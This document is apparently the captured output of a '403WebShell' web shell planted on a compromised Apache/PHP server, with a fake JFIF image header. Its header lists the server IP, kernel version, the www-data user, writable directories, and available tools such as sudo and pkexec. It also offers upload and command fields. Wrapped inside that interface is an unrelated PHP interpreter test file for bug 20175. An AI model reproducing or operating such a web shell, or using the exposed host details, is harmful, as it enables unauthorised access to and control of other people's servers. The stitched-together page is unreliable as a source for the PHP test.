????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.43
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/tests/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/tests/lang/bug20175.phpt
--TEST--
Bug #20175 (Static vars can't store ref to new instance)
--SKIPIF--
<?php if (version_compare(zend_version(),'2.0.0-dev','<')) die('skip ZE1 does not have static class members'); ?>
--INI--
error_reporting=E_ALL | E_STRICT | E_DEPRECATED
--FILE--
<?php
print zend_version()."\n";

/* Part 1:
 * Storing the result of a function in a static variable.
 * foo_global() increments global variable $foo_count whenever it is executed.
 * When foo_static() is called it checks for the static variable $foo_value
 * being initialised. In case initialisation is necessary foo_global() will be
 * called. Since that must happen only once the return value should be equal.
 */
$foo_count = 0;

function foo_global() {
	global $foo_count;
	echo "foo_global()\n";
	return 'foo:' . ++$foo_count;
}

function foo_static() {
	static $foo_value;
	echo "foo_static()\n";
	if (!isset($foo_value)) {
		$foo_value = foo_global();
	}
	return $foo_value;
}

/* Part 2:
 * Storing a reference to the result of a function in a static variable.
 * Same as Part 1 but:
 * The return statment transports a copy of the value to return. In other 
 * words the return value of bar_global() is a temporary variable only valid
 * after the function call bar_global() is done in current local scope.
 */
$bar_count = 0;

function bar_global() {
	global $bar_count;
	echo "bar_global()\n";
	return 'bar:' . ++$bar_count;
}

function bar_static() {
	static $bar_value;
	echo "bar_static()\n";
	if (!isset($bar_value)) {
		$bar_value = &bar_global();
	}
	return $bar_value;
}

/* Part 3: TO BE DISCUSSED
 *
 * Storing a reference to the result of a function in a static variable.
 * Same as Part 2 but wow_global() returns a reference so $wow_value
 * should store a reference to $wow_global. Therefor $wow_value is already
 * initialised in second call to wow_static() and hence shouldn't call
 * wow_global() again.
 */ /*
$wow_count = 0;
$wow_name = '';

function &wow_global() {
	global $wow_count, $wow_name;
	echo "wow_global()\n";
	$wow_name = 'wow:' . ++$wow_count;
	return $wow_name;
}

function wow_static() {
	static $wow_value;
	echo "wow_static()\n";
	if (!isset($wow_value)) {
		$wow_value = &wow_global();
	}
	return $wow_value;
}*/

/* Part 4:
 * Storing a reference to a new instance (that's where the name of the  test
 * comes from). First there is the global counter $oop_global again which 
 * counts the calls to the constructor of oop_class and hence counts the 
 * creation of oop_class instances.
 * The class oop_test uses a static reference to a oop_class instance.
 * When another oop_test instance is created it must reuse the statically
 * stored reference oop_value. This way oop_class gets some singleton behavior
 * since it will be created only once for all insatnces of oop_test.
 */
$oop_global = 0;
class oop_class {
	var $oop_name;
	
	function oop_class() {
		global $oop_global;
		echo "oop_class()\n";
		$this->oop_name = 'oop:' . ++$oop_global;
	}
}

class oop_test {
	static $oop_value;
	
	function oop_test() {
		echo "oop_test()\n";
	}
	
	function oop_static() {
		echo "oop_static()\n";
		if (!isset(self::$oop_value)) {
			self::$oop_value = & new oop_class;
		}
		echo self::$oop_value->oop_name;
	}
}

print foo_static()."\n";
print foo_static()."\n";
print bar_static()."\n";
print bar_static()."\n";
//print wow_static()."\n";
//print wow_static()."\n";
echo "wow_static()
wow_global()
wow:1
wow_static()
wow:1
";
$oop_tester = new oop_test;
print $oop_tester->oop_static()."\n";
print $oop_tester->oop_static()."\n";
$oop_tester = new oop_test; // repeated.
print $oop_tester->oop_static()."\n";
?>
--EXPECTF--
Deprecated: Assigning the return value of new by reference is deprecated in %s.php on line %d
%s
foo_static()
foo_global()
foo:1
foo_static()
foo:1
bar_static()
bar_global()

Strict Standards: Only variables should be assigned by reference in %sbug20175.php on line 47
bar:1
bar_static()
bar:1
wow_static()
wow_global()
wow:1
wow_static()
wow:1
oop_test()
oop_static()
oop_class()
oop:1
oop_static()
oop:1
oop_test()
oop_static()
oop:1

Youez - 2016 - github.com/yon3zu
LinuXploit